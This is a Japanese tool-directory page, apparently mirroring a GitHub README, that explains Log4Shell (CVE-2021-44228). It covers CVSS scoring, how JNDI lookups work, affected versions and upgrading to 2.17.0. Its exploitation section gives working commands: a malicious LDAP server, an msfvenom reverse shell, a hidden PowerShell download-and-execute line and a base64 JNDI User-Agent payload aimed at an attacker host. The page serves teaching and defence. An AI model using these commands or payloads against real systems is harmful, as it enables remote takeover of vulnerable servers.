Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-44228 — Log4Shell (CVE-2021-44228): 説明、悪用、緩和 | Kitploit
ツール/GitHubGitHub/zaneef/cve-2021-44228
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用コマンド&コントロール学習と教育
GitHubzaneef/cve-2021-44228

CVE-2021-44228

Log4Shell (CVE-2021-44228): 説明、悪用、緩和

リポジトリを見る
24年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-44228

2021年12月9日、世界はLog4Jに関する新たなセキュリティホールを知りました。脆弱性のCVSSv3(Common Vulnerability Scoring System)スコアは10と評価され、重大なレベルとなりました(https://nvd.nist.gov/vuln/detail/CVE-2021-44228)。

CVSSv3

そのCVSSv3ベクトルは次の通りです: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H。

評価の理由を完全に理解できるように、値について少し明確にしましょう:

  • AV:N (Attack Vector: Network) : 攻撃ベクトルはネットワークであり、脆弱なデバイスはリモートから悪用可能です。
  • AC:L (Attack Complexity: Low) : 攻撃の複雑さは低く、脆弱性やその仕組みに関する知識が乏しい攻撃者でも実行可能です。
  • PR:N (Privileged Required: None) : システム内の特権は不要です。
  • UI:N (User Interaction: None) : ユーザーの操作がなくてもシステムは脆弱です。
  • S:C (Scope: Changed)
  • C:H (Confidentiality: High) : マシン内の情報の機密性が完全に損なわれます。これにより、データの完全な秘密性の喪失と攻撃者への漏洩が生じます。
  • I:H (Integrity: High) : マシン内の情報の完全性が完全に損なわれます。攻撃者は任意のファイルを変更または削除できます。
  • A:H (Availability: High) : 攻撃者はマシンの情報やサービスへのアクセスを完全に拒否できます。

Log4Jとは?

Log4JはJavaライブラリであり、現在はApache Software Foundationプロジェクトの一部で、アプリケーションの状態を監視することができます。

ÈこれはJavaアプリケーションのロギングにおける事実上の標準です。

どのように動作するか?

この脆弱性はJNDI(Java Naming and Directory Interface)に基づいています。これはJavaアプリケーションが外部ディレクトリサービス(例:LDAP)と対話することを可能にするJava APIです。

この対話はJNDIのルックアップ機能を介して行われ、Log4Jのデフォルト設定で有効になっており、リモートサーバーとの対話を可能にします。

Log4J ExploitationによるTCP Reverse Shell

読む際に役立ついくつかの小さな注意点:

  • 攻撃者のマシンのIPは10.0.0.1です。
  • Log4Shellに対して脆弱なマシンのIPは10.0.0.2です。
  • 脆弱なマシンのOSはWindowsで、アーキテクチャはx86です。
  • 脆弱なマシンはポート80でWebアプリケーションを実行しており、URL http://hackme.comでアクセス可能です。
❗ 注意 ❗
以下に説明する攻撃手法は、当該脆弱性の実際の危険性を理解するためだけに使用されるべきです。著者は、本記事の不適切な使用を一切拒否し、非難します。

以下の攻撃の目的は、Log4Shellを悪用して脆弱なシステム上にリバースシェルをダウンロードして実行し、その完全な制御を獲得することです。

1. 攻撃マシンの設定

  1. 悪意のあるLDAPサーバーの初期化に必要なコードを含むリポジトリをダウンロードします。
root@kitploit:~
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.0.0.1 -p 2222
  1. msfvenomを使用してWindows用のTCPリバースシェルを作成し、ポート8888でリモートアクセスを受け取れるようにします。
root@kitploit:~
msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=8888 -f exe > payload.exe
  1. ncを使用してポート8888でリスナーを開始し、脆弱なマシンにロードされたリバースシェルからの接続を受信します。
root@kitploit:~
nc -lvnp 8888
  1. 標的マシンからのマルウェアのダウンロードを可能にするためにHTTPサーバーを実行します。
root@kitploit:~
python3 -m http.server 4444
  1. 以下のPowershellコマンドを使用して、攻撃者は自身のHTTPサーバーに接続し、C:\windows\tempディレクトリにマルウェアをダウンロードして実行できます。
root@kitploit:~
powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")
  1. 以前のペイロードをbase64でエンコードするために次のコマンドを使用します。
root@kitploit:~
echo 'powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")' | base64

上記のコマンドの結果は次の通りです:

root@kitploit:~
cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=

2. エクスプロイト

  1. Webアプリケーションが訪問者のUser-Agentを記録すると仮定します。攻撃者は次のようなリクエストを送信します:
root@kitploit:~
GET / HTTP/1.1
Host: hackme.com
User-Agent: ${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
  1. 次の文字列
root@kitploit:~
${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}

はLog4Jに渡され、解釈され、JNDIを介して攻撃者のLDAPサーバーにリクエストを実行します。

root@kitploit:~
ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
  1. マルウェアがダウンロードされ、実行されます。

  2. 攻撃者はポート8888でマシンのシェルを取得します。

自分は脆弱ですか?

まず第一に、この脆弱性はJavaまたはその派生を使用するソフトウェア(そしてもちろんロギングライブラリとしてLog4J)のみに影響することを覚えておく必要があります。

  • 2.0-beta9 - 2.14.1: Log4Shellに対して脆弱なバージョンは2.0-beta9から2.14.1までです。
  • 2.15.0: Log4Jのバージョン2.15.0は脆弱であることが判明しています。CVE-2021-45046。現在の脆弱性評価は"9.0 Critical"です。
  • 2.16.0: Log4Jのバージョン2.16.0は脆弱であることが判明しています。CVE-2021-45105。現在の脆弱性評価は"7.5 High"です。

Log4Jのバージョン1.xはこのセキュリティホールに対して厳密には脆弱ではありませんが、2015年に廃止されたことに加えて、次の脆弱性の影響を受けます: CVE-2021-4104。

どのように対処すればよいですか?

最善の解決策は、Log4Jをバージョン2.17.0にアップデートすることです。

ツールをダウンロード